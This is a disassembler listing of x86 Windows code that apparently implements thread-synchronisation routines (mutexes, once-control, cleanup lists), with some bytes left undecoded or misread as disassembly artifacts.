loc_430D02:				; CODE XREF: sub_430CA0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_430D46
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFD0D38h, 8508C483h, 562774C0h, 0FF58E890h
		dd 7E83023Ch, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D46:				; CODE XREF: sub_430CA0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_430D5A
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D5A:				; CODE XREF: sub_430CA0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_430EB0
		add	esp, 8
		sub	eax, 0
		jz	loc_430E1A
		dec	eax
		jz	short loc_430DE4
		dec	eax
		jz	short loc_430D85
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430D85:				; CODE XREF: sub_430CA0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		call	near ptr 7C901005h
		nop
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_430DB7
		nop
		call	near ptr 2800C7Eh
		push	ebx
		nop
		call	near ptr 7C9010EDh
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430DB7:				; CODE XREF: sub_430CA0+101j
		nop
		call	near ptr 2800C7Eh
		test	eax, eax
		jl	short loc_430DD6
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430DD6
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_430DD6:				; CODE XREF: sub_430CA0+11Fj
					; sub_430CA0+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430DE4:				; CODE XREF: sub_430CA0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_430E0A
		push	esi
		nop
		call	near ptr 2800C7Eh
		mov	ebp, 274Ch


loc_430E0A:				; CODE XREF: sub_430CA0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_430E31
		jmp	loc_430CE0
; ---------------------------------------------------------------------------


loc_430E1A:				; CODE XREF: sub_430CA0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_430E2E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_430E2E:				; CODE XREF: sub_430CA0+4Dj
					; sub_430CA0+187j
		mov	[esi+0Ch], eax


loc_430E31:				; CODE XREF: sub_430CA0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_430E38:				; CODE XREF: sub_430CA0+Aj
					; sub_430CA0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_430CA0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430EB0	proc near		; CODE XREF: sub_430CA0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_430F4E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_430EE2
		or	eax, 0FFFFFFFFh


loc_430ECC:				; CODE XREF: sub_430EB0+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 280093Eh
		test	eax, eax
		jnz	short loc_430F3C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430EE2:				; CODE XREF: sub_430EB0+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_430ECC
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430F3C:				; CODE XREF: sub_430EB0+2Aj
		cmp	eax, 102h
		jnz	short loc_430F4E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_430F4E:				; CODE XREF: sub_430EB0+Bj
					; sub_430EB0+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430EB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FA0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_431040
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_431040
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_431035
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430FEA
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430FEA
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FEA:				; CODE XREF: sub_430FA0+2Aj
					; sub_430FA0+40j
		cmp	[esi+8], edi
		jnz	short loc_430FF8
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43103A


loc_430FF8:				; CODE XREF: sub_430FA0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 2800C7Eh
		test	eax, eax
		jl	short loc_431028
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_431028
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_431028:				; CODE XREF: sub_430FA0+6Ej
					; sub_430FA0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431035:				; CODE XREF: sub_430FA0+1Ej
		mov	ebx, 16h


loc_43103A:				; CODE XREF: sub_430FA0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431040:				; CODE XREF: sub_430FA0+Aj
					; sub_430FA0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430FA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431080	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431105
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431105
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4310A2
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_4310A2:				; CODE XREF: sub_431080+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431100
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3BC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4310D3
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_4310CB
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_4310CB:				; CODE XREF: sub_431080+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4310D3:				; CODE XREF: sub_431080+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_4310FB
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4310FB
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4310FB:				; CODE XREF: sub_431080+57j
					; sub_431080+6Dj
		mov	edi, 10h


loc_431100:				; CODE XREF: sub_431080+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431105:				; CODE XREF: sub_431080+Aj
					; sub_431080+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431080	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431140:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431170:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4311A0:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4311AC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4311AC:				; CODE XREF: ___:004311A6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4311C0:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_4311D2
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311D2:				; CODE XREF: ___:004311C8j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_4311F5
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_4311F5
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 4DE89056h, 0E802490Ch, 0FFFD0AFEh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_4311F5:				; CODE XREF: ___:004311D6j
					; ___:004311DDj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43122E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43122E:				; CODE XREF: ___:00431224j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_431296
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 280093Eh
		nop
		test	eax, eax
		jnz	short loc_431287
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_431276
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_431276:				; CODE XREF: ___:00431256j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431287:				; CODE XREF: ___:00431242j
		cmp	eax, 102h
		jz	short loc_43129C
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: ___:00431234j
		nop
		call	near ptr 28C1E38h


loc_43129C:				; CODE XREF: ___:0043128Cj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4312F0:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43130B
		mov	eax, [esp+0]


loc_43130B:				; CODE XREF: ___:00431305j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431320	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 28608D9h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3A0, eax
		nop
		call	near ptr 2870000h
		test	eax, eax
		mov	dword_50E3BC, eax
		jnz	short loc_43136D
		mov	eax, dword_50E3A0
		mov	dword_50E3BC, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27E06B5h
		mov	dword_50E3A0, 0


loc_43136D:				; CODE XREF: sub_431320+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431320	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3A4
		test	eax, eax
		jz	short loc_4313F0
		mov	eax, dword_50E3A8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3A80Dh, 4C48300h,	6A118Bh, 63E89052h, 0E8023AEFh
		dd 0FFFD025Bh, 50E3A0A1h, 74C08500h, 0E8905007h, 23AF2C5h
; ---------------------------------------------------------------------------


loc_4313F0:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431420	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431420	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431440	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3A4
		test	eax, eax
		jz	short loc_43147B
		mov	eax, dword_50E3A8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 46E8501Ah, 8BFFFD03h
		dd 50E3A80Dh, 4C48300h,	6A118Bh, 0C3E89052h
		db 0EEh, 3Ah, 2
; ---------------------------------------------------------------------------


loc_43147B:				; CODE XREF: sub_431440+7j
		mov	eax, 1
		retn
sub_431440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314B0:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, dword_50E3B0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_4314EE


loc_4314CC:				; CODE XREF: ___:004314ECj
		test	esi, esi
		jnz	short loc_4314EE
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_4314CC


loc_4314EE:				; CODE XREF: ___:004314CAj
					; ___:004314CEj
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431530	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431549
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431549
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_431549
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431549:				; CODE XREF: sub_431530+6j
					; sub_431530+Cj ...
		mov	eax, 1
		retn
sub_431530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3A4
		test	eax, eax
		jz	short loc_43156F
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43156F:				; CODE XREF: sub_431560+7j
		push	0
		push	offset dword_50E3A8
		mov	dword_50E3A4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_43159E
		push	eax
		push	offset dword_50E3AC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_4315A3


loc_43159E:				; CODE XREF: sub_431560+2Aj
		call	sub_40163B


loc_4315A3:				; CODE XREF: sub_431560+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E8C0
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E900
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E940
		call	esi
		mov	eax, dword_50E3A4
		pop	esi
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431600	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3A4
		test	eax, eax
		jz	locret_4316B9
		mov	eax, dword_50E3A8
		test	eax, eax
		jz	short loc_431629
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3A8, 0


loc_431629:				; CODE XREF: sub_431600+14j
		mov	eax, dword_50E3AC
		test	eax, eax
		jz	short loc_431645
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3AC, 0


loc_431645:				; CODE XREF: sub_431600+30j
		push	esi
		push	offset dword_50E8C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_44570C
		cmp	eax, 1
		jz	short loc_431673
		push	edi
		mov	edi, dword_50FAC4


loc_431662:				; CODE XREF: sub_431600+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_431662
		pop	edi


loc_431673:				; CODE XREF: sub_431600+59j
		push	offset dword_50E8C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_50F858
		push	offset dword_50E940
		call	esi
		push	offset dword_50E960
		call	esi
		push	offset dword_50E900
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E8C0
		call	esi
		mov	dword_50E3A4, 0
		pop	esi

locret_4316B9:				; CODE XREF: sub_431600+7j
		retn
sub_431600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316F0:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_50E3A8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436AFC
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43174C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_431758
; ---------------------------------------------------------------------------


loc_43174C:				; CODE XREF: ___:00431739j
		dec	eax
		jz	short loc_431755
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_431758
; ---------------------------------------------------------------------------


loc_431755:				; CODE XREF: ___:0043174Dj
		mov	esi, [edi+14h]


loc_431758:				; CODE XREF: ___:0043174Aj
					; ___:00431753j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_431777
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_431777:				; CODE XREF: ___:0043175Cj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317D0	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43184A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431828
		push	eax
		call	esi


loc_431828:				; CODE XREF: sub_4317D0+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_43184A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_43184A
		push	eax
		call	esi


loc_43184A:				; CODE XREF: sub_4317D0+11j
					; sub_4317D0+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_4317D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431890	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_4318B1
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4318B1:				; CODE XREF: sub_431890+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_4318F2
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4318F2:				; CODE XREF: sub_431890+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431917
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431917:				; CODE XREF: sub_431890+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_431890	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431960	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_431987
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_431987
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_431987
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_431987:				; CODE XREF: sub_431960+7j
					; sub_431960+Ej ...
		pop	esi
		retn
sub_431960	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319A0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_431A0D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_431A0D
		push	edi


loc_4319B5:				; CODE XREF: sub_4319A0+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A08
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_4319E3
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_4319E3
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_4319E3
		push	eax


loc_4319DE:				; CODE XREF: ___:00431A57j
		call	edi	; free
		add	esp, 4


loc_4319E3:				; CODE XREF: sub_4319A0+27j
					; sub_4319A0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431A08:				; CODE XREF: sub_4319A0+20j
		test	esi, esi
		jnz	short loc_4319B5
		pop	edi


loc_431A0D:				; CODE XREF: sub_4319A0+8j
					; sub_4319A0+12j
		pop	esi
		pop	ebx
		retn
sub_4319A0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A30	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3A8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431A30	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7BD918h], edx
		ja	short loc_4319DE
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_431A60+1


loc_431A60:				; CODE XREF: ___:00431A5Ej
		jz	short loc_431A85
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_431A72
		dec	eax
		jnz	short loc_431A75
		or	esi, 0FFFFFFFFh
		jmp	short loc_431A75
; ---------------------------------------------------------------------------


loc_431A72:				; CODE XREF: ___:00431A68j
		mov	esi, [edi+14h]


loc_431A75:				; CODE XREF: ___:00431A6Bj
					; ___:00431A70j
		call	sub_4017C1
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		pop	esi


loc_431A85:				; CODE XREF: ___:loc_431A60j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 52DAE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431AC0	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431AC0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431ADF


